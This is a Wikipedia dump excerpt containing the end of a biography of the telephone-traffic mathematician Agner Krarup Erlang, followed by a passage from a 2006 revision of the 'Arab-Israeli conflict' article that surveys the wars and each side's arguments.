Erlang was born at [[Lonborg]] (Lønborg), near [[Tarm]], in [[Jutland]]. He was the son of a schoolmaster and with his maternal mathematical ancestor [[Thomas Fincke]], he demonstrated his potential from an early age by being able to read books upside down.  He passed the ''Preliminary Examination'' offered by the [[University of Copenhagen]], with distinction, at age 14, after receiving dispensation to sit because he was younger than the usual minimum age.

For the next two years he taught alongside his father.

With a distant relative providing free board and lodgings, he prepared for and sat the University of [[Copenhagen]] entrance examination in [[1896]], which he passed with distinction.  He won a scholarship to the University of Copenhagen and majored in [[mathematics]], but also studied [[astronomy]], [[physics]] and [[chemistry]].  He graduated in [[1901]] with an MA and subsequently taught at several schools over the next 7 years.  He maintained his interest in mathematics and received an award for one paper that he submitted to the University of Copenhagen.

He was a member of the Danish Mathematicians' Association and through this met amateur mathematician [[Johan Jensen]], the Chief Engineer of the [[Copenhagen Telephone Company]], an offshoot of the [[Bell System|International Bell Telephone Company]].  Erlang subsequently obtained employment with the company in [[1908]].  He worked for the Copenhagen Telephone Company for almost 20 years, until his death in Copenhagen after an abdominal operation.

It was while working for the Copenhagen Telephone Company that Erlang was presented with the classic problem of determining how many circuits were needed to provide an acceptable telephone service.  However, his thinking went further in that he also realised that mathematics could be applied to assess how many operators were needed to handle a given volume of telephone calls.  At that time most telephone exchanges used human operators and cord boards to switch telephone calls by means of jack plugs.

Out of necessity, Erlang was a hands-on researcher.  He would conduct his own measurements and was prepared to climb into street manholes to do so.

Erlang was also an expert in both the history and calculation of the numerical tables of mathematical functions, particularly [[logarithm]]s.  He devised new calculation methods for certain forms of mathematical tables.

He developed his theory concerning telephone traffic over several years.  His significant publications include: 
*In 1909 - &quot;The Theory of Probabilities and Telephone Conversations&quot; - which proves that the [[Poisson distribution]] applies to random telephone traffic.
*In 1917 - &quot;Solution of some Problems in the Theory of Probabilities of Significance in Automatic Telephone Exchanges&quot; - which contains his classic formulae for loss and waiting time.

These and other notable papers were translated into English, French and German.  His papers were prepared in a very brief style and can be difficult to understand without a background in the field. So that his papers could be studied in the original Danish, one researcher from [[Bell Labs|Bell Telephone Laboratories]] learnt the language. 

The [[BT Group plc|British Post Office]] accepted his formula as the basis for calculating circuit facilities. 

He was an associate of the British [[Institution of Electrical Engineers]]. 

The unit, distribution and language listed below have all been named in his honour.

==See also==
* [[Erlang unit|Erlang]] - a unit of communication activity
* [[Erlang distribution]] - a statistical [[probability]] distribution
* [[Erlang programming language]] - developed by [[Ericsson]] for large industrial real-time systems
* [[Queueing theory]]
* [[Telecommunications traffic engineering]]

==External links==
* {{MacTutor Biography|id=Erlang}}
* [http://pass.maths.org.uk/issue2/erlang/index.html Biography - from Millennium Mathematics Project]
* [http://www.xycoon.com/erlang.htm Erlang Distribution]
* [http://www.angustel.ca/reports/Erlang%20B%20&amp;%20C.PDF An Introduction to Erlang B and Erlang C by Ian Angus] (PDF Document - Has terms and formulae plus biography)
* [http://runeberg.org/matetids/1920b/0029.html &quot;Telefon-Ventetider. Et Stykke Sandsynlighedsregning&quot;], in ''Matematisk Tidsskrift'', B, 1920 (a paper on telephone waiting times, in Danish, digitized by [[Project Runeberg]])

[[Category:1878 births|Erlang, Agner Krarup]]
[[Category:1929 deaths|Erlang, Agner Krarup]]
[[Category:Danish mathematicians|Erlang, Agner Krarup]]
[[Category:20th century mathematicians|Erlang, Agner Krarup]]
[[Category:Danish engineers|Erlang, Agner Krarup]]
[[Category:Electrical engineers|Erlang, Agner Krarup]]
[[Category:Statisticians|Erlang, Agner Krarup]]
[[category:Business theorists|Erlang, Agner Krarup]]

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  <page>
    <title>Arab-Israeli conflict</title>
    <id>2949</id>
    <revision>
      <id>42129893</id>
      <timestamp>2006-03-04T00:40:56Z</timestamp>
      <contributor>
        <username>Moshe Constantine Hassan Al-Silverburg</username>
        <id>557364</id>
      </contributor>
      <comment>/* Comparative statistics */ see- http://www.cia.gov/cia/publications/factbook/geos/is.html#Econ</comment>
      <text xml:space="preserve">[[Image:Israel_and_arab_states_map.png|thumb|300px|right|[[Israel]] (in &lt;font color=blue&gt;blue&lt;/font&gt; color) and the [[Arab League]] states (in &lt;font color=green&gt;green&lt;/font&gt;, [[Comoros]] is not shown).]]
The '''Arab-Israeli conflict''' is a long-running conflict in the [[Middle East]] concerning [[Zionism|Zionist]] and subsequent immigration of non-local [[Jew]]s, joining the existing Jewish population in the [[British Mandate of Palestine]], their claim to [[self-determination]] in the [[Land of Israel]] and, after the establishment of the [[State of Israel]], the country's relations with the Arab states and the Palestinian population (see [[Israeli-Palestinian conflict]]). Some uses of the term ''Middle East conflict'' referring to this matter, but the region has been host to other disputes and wars not directly involving Israel (see [[List of conflicts in the Middle East]]).

Despite involving a relatively small land area and number of casualties, the conflict has been the focus of worldwide media and diplomatic attention for decades. Some groups fear that the Arab-Israeli conflict is a part of (or precursor to) a wider [[clash of civilizations]] between the [[Western World]] and the Arab or [[Muslim]] world. Animosity emanating from this conflict has caused numerous attacks on supporters (or perceived supporters) of one side by supporters of the other side in many countries around the world. The map shows the nation of Israel as well as the nations of the Middle East and Africa that are members of the [[Arab League]], including many that have never been directly involved in the conflict.  Many more people in other countries feel involvement in the conflict, for reasons such as cultural and religious ties with [[Islam]] and/or [[Arab culture]], [[Christianity]], [[Judaism]], or for ideological or strategic reasons; these include countries such as [[Iran]] and the [[United States]].

==History==
The Arab-Israeli conflict is a modern phenomenon, which dates back to the end of the 19th century. The conflict became a major international issue after the collapse of the [[Ottoman Empire]] in 1917, and in various forms it continues to this day. The Arab-Israeli conflict has resulted in at least five major wars and a number of &quot;minor conflicts&quot;. It has also been the source of two major Palestinian [[intifada]]s (uprisings) and is cited by [[al-Qaeda]], a largely Arab organization, as one of the reasons for its conflict with the Western world. The periods of conflict include:

===Before 1947===
Tensions between the Jews and Arabs started to emerge after the 1880s, when European Jews began to immigrate and augment Palestinian Jewish communities by buying up land from Ottoman and individual Arab landholders, and establishing agricultural settlements in the historic lands of Judea and Israel, which were then part of the Ottoman empire [http://www.ismi.emory.edu/JournalArticles/MESapr84.html]. By the 1920s, tension had given way to violence, such as the [[Riots in Palestine of 1920]], [[Jaffa riots]] of 1921. To assuage the Arabs, and due to British inability to control Arab violence in the [[British Mandate]] any other way, the semi-autonomous Arab Emirate of Transjordan was created in all Palestinian territory east of the Jordan river (roughly 80% of the mandate). The violence continued to mount, however, throughout the 1930s and 40s, resulting in loss of life on all sides, including the [[Riots in Palestine of 1929]], [[Irgun| a series of Zionist attacks]], [[Great Uprising|the Great Arab Uprising of 1936-1939]], [[Lehi_%28group%29|the Assassination of British Mandate Officials]], and the 1946 [[King David Hotel bombing]].

===War of 1948===
[[Image:1948 arab israeli war - May15-June10.jpg|right|thumb|[[May 15]] - [[June 10]]]]
The [[1948 Arab-Israeli War]], known as the &quot;Israeli War of Independence&quot; or [[Palestinian exodus|&quot;al-Nakba&quot; (The Disaster)]], 1948-1949, began after the British withdrawal and the declaration of the [[Israel|State of Israel]] on [[May 14]] [[1948]]. The Arabs had rejected the November [[1947 UN Partition Plan]], which proposed the establishment of Arab and Jewish states in [[Palestine (region)|Palestine]]. Arab militias had begun campaigns to control territory inside and outside the designated borders. Joint Jordanian, Egyptian, Syrian, Lebanese and Iraqi troops invaded Palestine, which Israel, the [[United States|US]], the [[Soviet Union|Soviet Union]], and [[Trygve Lie|UN Secretary-General Trygve Lie]] called illegal aggression, while [[China]] broadly backed the Arab claims. The Arab states proclaimed their aim of a  &quot;United State of Palestine&quot;[http://en.wikisource.org/wiki/Cablegram_from_the_Secretary-General_of_the_League_of_Arab_States_to_the_Secretary-General_of_the_United_Nations] in place of Israel and an Arab state. They considered the UN Plan to be invalid because it was opposed by Palestine's Arab majority, and claimed that the British withdrawal led to an absence of legal authority, making it necessary for them to protect Arab lives and property.[http://domino.un.org/UNISPAL.NSF/0/d442111e70e417e3802564740045a309?OpenDocument] About two thirds of Palestinian Arabs fled or were expelled from the territories which came under Jewish control (see [[Palestinian exodus]]); practically all of the much smaller number of Jews in the territories captured by the Arabs, for example the Old City of Jerusalem, also fled or were expelled. About 700,000 Arabs (estimates vary from 520,000 to 957,000 [http://www.arts.mcgill.ca/MEPP/PRRN/proverview.html]) became refugees during the fighting. 

The fighting ended with signing of the [[Rhodes Armistice]], which formalized Israeli control of the area allotted to the Jewish state plus just over half of the [[Proposals for a Palestinian state|area allotted to the Arab state]]. The [[Occupation of the Gaza Strip by Egypt|Gaza Strip was occupied by Egypt]] and the [[Occupation of the West Bank and East Jerusalem by Jordan|West Bank by Jordan]] until June 1967 when they were seized by Israel during the [[Six-Day War]].

===Aftermath of the 1948 war===
[[Image:1947-UN-Partition-Plan-1949-Armistice-Comparison.png|right|185px|thumb|Comparison between partition plan and armistice lines]]

The Palestinians who fled or were expelled from the areas that became Israel were not allowed to return to their homes, and took up residence in refugee camps in surrounding countries, including [[Lebanon]], [[Jordan]], [[Syria]], and the area that was later to be known as the [[Gaza Strip]].  The [[United Nations Relief and Works Agency for Palestine Refugees in the Near East]] was established to alleviate their condition.

Over several years after the 1948 war ended, approximately 900,000 [http://www.jimena-justice.org] Jews fled the Arab countries they were living in, in many cases owing to anti-Jewish sentiment, expulsion (in the case of Egypt), or, in the case of Iraq, legal oppression (see [[Jewish exodus from Arab lands]]); of these 900,000, two thirds ended up in [[ma'abarot|refugee camps]] in Israel, while the remainder migrated to France, the United States and other Western or Latin American countries. Since that time, Israel has maintained that an [[population transfer|exchange of population]] had occurred, and that the Jews fleeing Arab countries constitute refugees equivalent in status to the estimated 750,000 Palestinian refugees forced to live in refugee camps in the [[Middle Eastern]] countries. Furthermore, Israel has charged that [[Palestinian refugees]] were neglected by most Arab nations, whereas Jewish refugees were integrated into Israeli society, and that this neglect is the true cause of the poverty and misery experienced by the residents of those camps, not their flight or expulsion from Israel as the Palestinians believe.

For the nineteen years from the end of the Mandate until the [[Six-Day War]], [[Occupation of the West Bank and East Jerusalem by Jordan|Jordan controlled the West Bank]] and [[Occupation of the Gaza Strip by Egypt|Egypt controlled the Gaza Strip]]. In 1950, Jordan annexed the West Bank, but this annexation was recognized only by the [[United Kingdom]]. Both territories were conquered (but not [[annexation|annexed]]) from Jordan and Egypt by Israel in the Six-Day War. Neither Jordan or Egypt allowed the creation of a Palestinian state in these territories.

===War of 1956===
The [[1956 Suez War]] was a joint Israeli-British-French operation, in which Israel invaded the [[Sinai Peninsula]] and British and French forces landed at the port of [[Suez]], ostensibly to separate the warring parties, though the real motivation of the United Kingdom and [[France]] was to protect the interests of investors in those countries who were affected  by Egyptian President [[Gamel Abdel Nasser|Nasser]]'s decision to [[nationalize]] the [[Suez Canal]].  Israel justified its invasion of Egypt as an attempt to stop attacks (see the [[Fedayeen]]) upon Israeli civilians, and to restore Israeli shipping rights through the [[Straits of Tiran]], which Egypt claimed was within its territorial waters. The invading forces agreed to withdraw under U.S. and international pressure, and Israel withdrew from the [[Sinai]] as well, in return for the installation of [[UNEF|U.N. separation forces]] and guarantees of Israeli freedom of shipment.  The canal was left in Egyptian (rather than British and French) hands. 
[[Image:Al-Farida,_Lebanon_pre-1967_war.jpg|250px|right|thumb|Pre-1967 war cartoon showing President [[Gamal Abdel Nasser|Nasser]] of Egypt, backed by Arab states, kicks Israel into the Gulf of Aqaba. [[Al-Jarida]] newspaper, Lebanon (Oren, 2002)]]

===Between 1956 and 1967===
This period saw the rise of [[Nasserism]]; the founding of the [[United Arab Republic]] in 1958 and its collapse in 1961; disputes between Israel and Syria over water and border areas; continued [[fedayeen]] raids, mostly from Syria and Jordan, and Israeli reprisals; and the increasing alignment of the Arab states with the [[Soviet Union]], who became their largest arms supplier.

In the early 1960s, the [[PLO]] was established by Arab states. The Article 24 of the [[Palestinian National Charter]] of 1964 [http://www.palestine-un.org/plo/pna_two.html] stated: &quot;This Organization does not exercise any territorial sovereignty over the [[West Bank]] in the [[Jordan|Hashemite Kingdom of Jordan]], on the [[Gaza Strip]] or in the Himmah Area.&quot;

===War of 1967===
The [[Six-Day War]], 1967 began as a strike by Israel, which Israel and its supporters consider [[pre-emptive war|preemptive]], against Egypt and Syria following the Egyptian closure of the [[Straits of Tiran]] (a [[casus belli]], according to a possible interpretation of international law), a build up of troops along the Syrian border, expulsion of U.N. peacekeepers from the Sinai, stationing some 100,000 Egyptian troops at the peninsula, and a public announcement by Nasser that he intended to destroy Israel  [http://www.mfa.gov.il/MFA/Foreign%20Relations/Israels%20Foreign%20Relations%20since%201947/1947-1974/7%20Statement%20by%20President%20Nasser%20to%20Arab%20Trade%20Unio]. (In fact Nasser had said this would be an objective only if Israel &quot;embarks on an aggression against Syria or Egypt&quot;). Surprise Israeli air strikes destroyed the entire Egyptian air force while still on the ground. A subsequent ground invasion into Egyptian territory led to Israel's conquest of the [[Gaza Strip]] and the [[Sinai Peninsula]].  In spite of Israel's request to Jordan to desist from attacking it, both Jordan and Syria began to shell Israeli targets; Israel responded by capturing the [[West Bank]] from Jordan on [[June 7]], and the [[Golan Heights]] from Syria on [[June 9]].

===War of 1968-1970===
The [[War of Attrition]] was a limited war fought between [[Egypt]] and [[Israel]] from 1968 to 1970. It was initiated by Egypt as a way to recapture the [[Sinai]] from Israel which had occupied it since the [[Six-Day War]]. The war ended with a [[cease-fire]] signed between the countries in 1970 with frontiers at the same place as when the war started.

===War of 1973===
[[Image:Jom kippur war.jpg|right|thumb|250px|When the cease fire came into effect, Israel had lost territory on the east side of the Suez Canal to Egypt (show in red) but gained territory west of the canal and in the Golan Heights (shown in green)]]
The 1973 [[Yom Kippur War]] began when [[Egypt]] and [[Syria]] launched a surprise joint attack, on the Jewish day of fasting, in the [[Sinai]] and [[Golan Heights]]. The Egyptians and Syrians advanced during the first 24&amp;ndash;48 hours, after which momentum began to swing in Israel's favor. By the second week of the war, the Syrians had been pushed entirely out of the Golan Heights. In the Sinai to the south, the Israelis had struck at the &quot;hinge&quot; between two invading Egyptian armies, crossed the [[Suez Canal]] (where the old [[cease-fire]] line had been), and cut off an entire Egyptian army just as a [[United Nations]] cease-fire came into effect. Israeli troops eventually withdrew from the west of the Canal and the Egyptians kept their positions on a narrow strip on the east allowing them to re-open the Suez Canal and claim victory.

===War of 1978===
[[Operation Litani]] was the official name of [[Israel]]'s 1978 invasion of [[Lebanon]] up to the [[Litani]] river. The invasion was a military success, as [[PLO]] forces were pushed north of the river. However, international outcry led to the creation of the [[UNIFIL]] peacekeeping force and a partial Israeli retreat.

===War of 1982===
The [[1982 Lebanon War]] began when Israel attacked Lebanon, justified by Israel as an attempt to remove the [[Fatah]] militants led by [[Yasser Arafat]] from Southern Lebanon (where they had established, during the country's civil war, a semi-independent enclave used to launch [[terrorism|terrorist]] attacks on Israeli [[civilian]]s). The invasion was widely criticized both in and outside Israel, especially after the Israeli-backed Christian militia's [[Sabra and Shatila massacre]] and ultimately led to the death of 20,000 Lebanese. Although the attack succeeded in exiling Arafat to [[Tunisia]], Israel became entangled with various local Muslim militias (particularly [[Hezbollah]]), which fought to end the Israeli [[occupation]]. By 1985 Israel retreated from all but a narrow stretch of Lebanese territory designated by Israel as the [[Israeli Security Zone]]. The [[UN Security Council Resolution 425]] confirmed ([http://www.un.org/News/Press/docs/2000/20000618.sc6878.doc.html]) that as of [[June 16]] [[2000]], Israel had completely withdrawn its forces from Lebanon.

===Intifada of 1987-1993===
The [[First Intifada]], 1987-1993, began as an uprising of Palestinians, particularly the young, against the Israeli military occupation of the [[West Bank]] and [[Gaza Strip]]. The exiled PLO leadership in Tunisia quickly assumed a role, but the uprising also brought a rise in the importance of Palestinian national and Islamic movements. The intifada started by a group of young who started throwing rocks at the Israeli occupying forces in Jabalia (Gaza Strip) in December 1987. Children of Palestine were the leaders of this uprising and were called (Atfal Al-Hijara). The Intifada ended with the signing of the [[Oslo Accords]] by Israel and the PLO.

===Gulf War of 1990-1991===
The [[Gulf War]], 1990-1991, began with the Iraqi invasion and annexation of [[Kuwait]] and did not initially involve direct military engagement with Israel. An international coalition led by the United States which included Arab forces was assembled to drive Iraqi forces out of Kuwait. To draw Israel into the confrontation and fracture the multinational coalition, Iraq launched [[Scud]] missiles on Israeli cities and on Israel's nuclear facilities at [[Dimona]]. However, under strong pressure from the U.S. which feared direct Israeli involvement would threaten the unity of the coalition, Israel did not retaliate against Iraq and the multinational coalition ousted Iraqi forces from Kuwait. During the war, the Palestinian leadership and King [[Hussein of Jordan]] allied themselves with Iraq's invasion of Kuwait. Kuwait and other Gulf Arab monarchies then expelled more than 400,000 Palestinian refugees ([http://news.bbc.co.uk/2/hi/middle_east/4089961.stm]) and withdrew their support from the Palestinian cause, which was one of the factors leading to the [[PLO]] signing the [[Oslo Accords]].

===Intifada of 2000===
The [[al-Aqsa Intifada]] began in late September, 2000, around the time Israeli opposition leader [[Ariel Sharon]] and a large contingent of armed bodyguards visited the [[Temple Mount]]/[[Al-Haram As-Sharif]] complex in [[Jerusalem]] and declared the area eternal Israeli territory.  Widespread riots and attacks broke out in Jerusalem and many major Israeli cities, and spread throughout the [[West Bank]] and [[Gaza Strip]]. In the months after the death of [[Yasser Arafat]] on [[November 11]] [[2004]], the Intifada is largely thought to have come to an end. An Israeli Human Rights group [[B'Tselem]] estimated[http://news.bbc.co.uk/1/hi/world/middle_east/3694350.stm] the death toll to be around 4000.

==Reasons for the conflict==
The Arab-Israeli conflict is the result of numerous factors.  Reasons cited for the conflict therefore vary from participant to participant and observer to observer.  A powerful example of this divide can be found in opinion surveys of Palestinians and Israelis.  In a March, 2005 poll 63% of the Israelis blamed the failure of the Oslo Peace Process on Palestinian violence, but only 5% of the Palestinians agreed. 54% of Palestinians put the blame on Israeli policies, but only 20% of the Israelis agreed.[http://www.pcpsr.org/survey/polls/2005/p15ejoint.html]  It is therefore difficult to develop a single, objective reason for the conflict, so this article will present some of the arguments made by each side.

[[Image:Cia-is-map.gif|right|thumb|200px|Israel's existence as a [[Jew]]ish state and the future of the [[West Bank]], [[Gaza Strip]], and [[Golan Heights]] are at the center of the Arab-Israeli conflict.]]

====Arab hostility====
Many if not most Israelis believe that the conflict is largely a result of Arab attempts to destroy Israel, and that only Israeli military power stands between them and annihilation. 

They characterize the [[1948 Arab-Israeli War]], the [[1967 Six Day War]] and the [[1973 Yom Kippur War]] as attempts to destroy Israel. As evidence of this intent, pro-Israeli literature often places a heavy emphasis on statements made by Arab leaders during and preceding the wars. The following quotes are mainstays of pro-Israeli arguments:

*&quot;This will be a war of extermination and a momentous massacre which will be spoken of like the Mongolian massacres and the Crusades.&quot; (by [[Abdul Rahman Hassan Azzam]] Pasha, Secretary General of the [[Arab League]], in anticipation of victory over the new Jewish state in 1948 by the five invading Arab armies.  This quote is described by Isi Leibler (1972) and mentioned in letters to the New York Times in [[15 October]] [[1951]], and [[28 August]] [[1958]].

*&quot;I declare a holy war, my Muslim brothers! Murder the Jews! Murder them all!&quot; (Haj [[Amin al-Husseini]], the Mufti of [[Jerusalem]], and head of the [[Palestinian Arab Higher Committee]] [http://www.jewishstudentscanada.ca/voice/story10.html], the original quote purportedly comes from a &lt;!-- more accurate date? --&gt;1948 radio broadcast by the Mufti)

*After the withdrawal of the [[UNEF]], the ''Voice of the Arabs'' radio station proclaimed ([[May 18]] [[1967]]): &quot;As of today, there no longer exists an international emergency force to protect Israel. We shall exercise patience no more. We shall not complain any more to the UN about Israel. The sole method we shall apply against Israel is total war, which will result in the extermination of Zionist existence.&quot;[http://www.jewishvirtuallibrary.org/jsource/myths/mf6.html]

*&quot;Our forces are now entirely ready not only to repulse the aggression, but to initiate the act of liberation itself, and to explode the Zionist presence in the Arab homeland. The Syrian army, with its finger on the trigger, is united....I, as a military man, believe that the time has come to enter into a battle of annihilation.&quot; (Syrian Defense Minister [[Hafez Assad]] ([[May 20]] [[1967]]) [http://www.jewishvirtuallibrary.org/jsource/myths/mf6.html])

*&quot;If Israel embarks on an aggression against Syria or Egypt...The battle will be a general one and our basic objective will be to destroy Israel.&quot; ([[Gamal Abdel Nasser]]'s speech to Arab Trade Unionists ([[May 26]] [[1967]]) [http://www.mfa.gov.il/MFA/Foreign%20Relations/Israels%20Foreign%20Relations%20since%201947/1947-1974/7%20Statement%20by%20President%20Nasser%20to%20Arab%20Trade%20Unio])

*On [[May 30]] [[1967]], Nasser proclaimed: &quot;The armies of Egypt, Jordan, Syria and Lebanon are poised on the borders of Israel...to face the challenge, while standing behind us are the armies of Iraq, Algeria, Kuwait, Sudan and the whole Arab nation. This act will astound the world. Today they will know that the Arabs are arranged for battle, the critical hour has arrived. We have reached the stage of serious action and not declarations.&quot; (Isi Leibler, ''The Case For Israel'', 1972, p.60.) After Iraq joined the Arab military alliance in [[June 4]], its president Abdur Rahman Aref announced: &quot;The existence of Israel is an error which must be rectified. This is our opportunity to wipe out the ignominy which has been with us since 1948. Our goal is clear - to wipe Israel off the map.&quot; (Leibler, p.18)

=====Israel is forced to fight in self-defense=====
[[Israel]]is generally claim that, when nations declare war against Israel, Israel by definition is then at war with them. Israelis claim that they have always preferred peace to war: 

[[UN Security Council Resolution 242|SC 242]], the [[Land for peace]] formula, was adopted on [[November 22]], [[1967]] in the aftermath of the [[Six-Day War]] and the [[Khartoum Resolution]], and called for withdrawal from occupied territories in return for &quot;termination of all claims or states of belligerency&quot; and mutual &quot;acknowledgment of the sovereignty, territorial integrity and political independence&quot; by Israel and the other states in the area, and recognized the right of &quot;every state in the area&quot; (in particular, Israel) to live &quot;free from threats or acts of force&quot; within &quot;secure and recognized boundaries&quot;. 

Immediately after the [[Six-Day War]], Israel maintains that it offered to return the [[Golan Heights]] to [[Syria]] and the [[Sinai Peninsula]] (including the [[Gaza Strip]]) to [[Egypt]] in exchange for peace treaties and various concessions, but that Syria and Egypt refused the offer and this offer was very soon withdrawn. [[Anwar Sadat]], the Egyptian President at the time, proposed negotiations towards peace with Israel in the early 1970s but Israel refused the offer, claiming that it held unreasonable preconditions. Later Israel signed the [[Camp David Accords (1978)]] with Egypt and subsequently withdrew from all Egyptian territory it occupied.

Israelis note that the English language version of SC 242 deliberately did not state '''all''' territories occupied during the conflict, as the framers recognized some territorial adjustments were likely and rejected previous drafts with the word '''all'''. The French language translation of the text did include the definite article. Some, but not Israel itself, consider that Israel complied with this sense of the resolution when it returned the [[Sinai peninsula|Sinai]] to Egypt in 1982.

=====Israel has no partner for peace=====
[[Israel]] claims that it has demonstrated flexibility and understanding by bringing about the initiation of the [[peace process]], agreeing to painful concessions, and partially implementing them. As opposed to this, many Israelis consider that the predominant [[Palestinian]] views of the peace process do not recognize Israel's right to exist, and believe that the only real long-term [[Arab]] goal is the complete destruction of the [[Jewish state]].

=====Non-recognition of Israel's right to exist or existence=====
Many [[Israel]]is and supporters of Israel, and some [[Palestinian]]s and supporters of Palestine, take the view that the very existence of the state of Israel is at stake.  Most of the other parties to the dispute maintain formally that Israel should be recognized as a state, although some consider that it should be abolished. Some opponents of Israel do not even acknowledge its existence, refusing any contact with or mention of it, and instead describing it as &quot;The Zionist Entity&quot; with outdated land claims. 

Israelis argue that the continued Jewish presence in the area throughout the past three millennia, and the deep religious ties maintained by Judaism with the Land of Israel, give Jews a continuing and valid claim. Although the 1800 years preceding the establishment of Israel saw very limited Jewish presence, they emphasize that the destruction of the [[Kingdom of Israel]] and [[Jewish Diaspora]] were due to foreign conquests. They also point out that since antiquity, Jewish beliefs were frequently branded as &quot;obsolete&quot; (see [[Against Apion]], [[Supersessionism]]). It may also be noted that historical grounds are not the only reasons given for the establishment of a Jewish state.

Israelis regard many of the [[Arab]] criticisms against the state of Israel as threats to the state's existence, and say that against the multitude and power of the Arab states, there is only one Jewish state, which, they feel, should behave vigilantly, and assert its power in both a defensive and preemptive manner as deemed necessary.

====Issues of democracy and fairness====

====Treatment of Jews in Arab-ruled societies and vice-versa====
Some Israelis point to issues of unfair and prejudicial treatment of Jews in Arab-ruled societies historically [http://www.jewishvirtuallibrary.org/jsource/myths/mf15.html] and currently. Israelis claim that Arab countries such as [[Syria]] and [[Yemen]] do not give full rights and freedoms to Jews, and others (such as [[Saudi Arabia]]) do not even allow Jews to be citizens. The United Nations Human Development Reports [http://www.rbas.undp.org/] and human rights groups report that many Arab countries do not allow political opposition and other freedoms and lack [[checks and balances]] and [[separation of powers]].

They also argue that within Israel, Israeli Arabs are not subject to this type of discrimination.  They point to Israel's democratic system which protects the rights Jewish and Arab Israelis alike. Within the [[1949 Armistice Agreements|pre-1967 armistice lines]], Arab and other minorities are given freedom of religion, culture and political organization. Several Arab political parties have elected parliament members in the [[Knesset]]. Arabs are typically not conscripted into the Israeli military (though they are accepted as volunteers), so they will generally never have to fight their peoples. However, it is recognized that this can affect later job opportunities, as some jobs in Israel require previous military service. 

Based on injustice Jews experience today and have experienced in the past in Arab-ruled Nations, and their fairness in imposing this injustice on Arab Israeli citizens, Israel their right to resist imposition of Arab rule on Israel is justified.  

=====Islamic vs. other views of Land ownership=====
Some pro-[[Israel]]i views focus on differences in concepts of land ownership as a root source of conflict.   ''[[sharia]]'' (Islamic law) contains the concept of Waqf, revenue-generating property as religious endowment that, once established, is permanent in nature[http://i-cias.com/e.o/waqf.htm].  

Under some traditional interpretations, [[Muslim]] territory encompass all land that was ever under Muslim control.  The Hamas charter[http://memri.org/bin/articles.cgi?Page=countries&amp;Area=palestinian&amp;ID=SP109206] embraces this view of land ownership:  &quot;The Islamic Resistance Movement maintains that the land of Palestine is Waqf land given as endowment for all generations of Muslims until the Day of Resurrection. One should not neglect it or [even] a part of it, nor should one relinquish it or [even] a part of it. No Arab state, or [even] all of the Arab states [together], have [the right] to do this; no king or president has this right nor all the kings and presidents together; no organization, or all the organizations together - be they Palestinian or Arab - [have the right to do this] because Palestine is Islamic Waqf land given to all generations of Muslims until the Day of Resurrection. This is the legal status of the land of Palestine according to Islamic law. In this respect, it is like any other land that the Muslims have conquered by force, because the Muslims consecrated it at the time of the conquest as religious endowment for all generations of Muslims until the Day of Resurrection.&quot;

Some pro-Israeli views would argue that this concept of a permanent Waqf, while strongly held under Sharia law, is not agreed to internationally.  

=====Characterizations of Zionism as Racisism and Colonialism=====

Most [[Israel]]is see [[Zionism]] as merely the desire of [[Jew]]ish people to live as free people in the [[land of Israel]].  This opinion would argue that Zionism does not imply the superiority of Jews over any other nationality or ethnicity, and thus the characterization of Zionism as Racism is unfair.    

People of all races, colors and ethnic backgrounds live in Israel.  It is pointed out that Israeli Jews come from a wide variety of ethnic backgrounds.   In the 1930s, ideas of a 'population exchange' of Arabs and Jews between Arab states and Israel were actually popular among Zionists.  In practice, most Jews living in Arab Nations in 1948 have currently left Arab countries: 2/3 have moved to Israel.  Zionism does not prohibit [[Arab]]s, [[Druze]], [[Bedouin]] and other non-Jews from living in Israel as well, although by most interpretations it requires a Jewish majority to be established.  While some extremist Israelis, (particularly supporters of [[Moledet]]) believe in the forced transfer of Arabs from Israel, although this is not a widely held view.  

Zionists hold that Zionism is not colonialism, since they claim it does not wish to enslave any other peoples or take over any lands other than the one in question, nor to exploit them, but rather is about allowing the Jewish people to have a state in one small area. They also point out that they are not representing an outsider colonial force but full-fledged movement of self-determination.

====Refugee issues====
=====Jewish refugees=====
Most of the [[Jewish exodus from Arab lands|Jewish population in Arab countries]] fled from their homes since the establishment of [[Israel]] in 1948 or were thrown out of the land, and nearly two-thirds have been absorbed by [[Israel]]. These Jews lost most of their property and continue to claim compensation. Although there have been invitations from Arab states, virtually none have shown interest in returning to their former homes, as they have integrated in their new homes or fear persecution in Arab states.

Many believe the [[Jewish exodus from Arab lands]] to Israel and the [[Palestinian exodus|Arab exodus]] from the [[land of Israel]] to the surrounding territory constitutes a legitimate form of population exchange.

=====Palestinian refugees=====
[[Israel]] does not recognize a Palestinian [[right of return]]. Property belonging to former Arab residents in Israel is confiscated under the ''Absentee Property Act''. 

Israel maintains that the General Assembly resolutions establishing the Right of Return are merely recommendations under International law, and in any event doubt that the refugees wish to &quot;live in peace with their neighbors&quot;. 

Jewish Israelis fear that if [[Palestinian]]s were allowed to return to [[Israel]], the Jews would become a minority and [[Israel]] would no longer be a [[Jewish state]]. Many believe that if surrounding Arab states integrate the Palestinian refugees hostilities could be diffused, and that the harsh treatment of refugees in Arab states is done deliberately by those states in order to keep the conflict alive.

Israel has stated that it is willing to allow a limited number of Arabs to immigrate on a humanitarian basis (such as the unification of families) and limited compensation for others in the framework of a comprehensive peace plan. Such discussions have yet to take place.

The text of the UN Resolutions refer to a &quot;just settlement of the refugee problem&quot; and do not specifically mention either the [[Palestinian refugees]] or the [[Jewish refugees]]. Israel's refusal to consider large-scale resettlement of Palestinian refugees is also based on the continued refusal of Arab nations to compensate Israeli Jews of Arab origin, many of whom were driven out of their home countries after facing the expropriation of their property.

====Settlements====
Israelis of the political right, particular in the  [[Likud]] party, strongly support settlements in the [[West Bank]].  The platform of the Likud party states that &quot;settlement of the land is a clear  expression of the unassailable right of the Jewish people to the  Land of Israel and constitutes an important asset in the defense of  the vital interests of the State of Israel.&quot; [http://www.knesset.gov.il/elections/knesset15/elikud_m.htm]

Liberal Israelis oppose settlements, believing they are illegal under the [[Fourth Geneva Convention]] and/or thwart peace efforts. However, most Israelis do not view the building of houses and stores in [[Israeli settlement]]s as an act of war, and believe that disputes over land do not justify violent resistance or terrorism, but that there should be politically negotiated solutions. This view is rejected by Palestinians and many outside Israel, as Israel's leadership continues to build settlements on land they contend to be Palestinian, an activity that is roundly condemned by much of the world except Israel and usually the [[United States]].

Israel's supporters argue that the Fourth Geneva Convention does not technically apply to the territories, since they have no &quot;High Contracting Party&quot;, and claim that the Convention in any event only applied to forcible transfers of populations into or out of captured territories.  However, a conference of High Contracting Parties in 2001 stated that the Convention did apply in the territories.



===Palestinian and other Arab views===
''There is not a single &quot;Palestinian view&quot;; there are many different Palestinian views, which differ widely.''

====Illegitimacy or illegality of Israel====
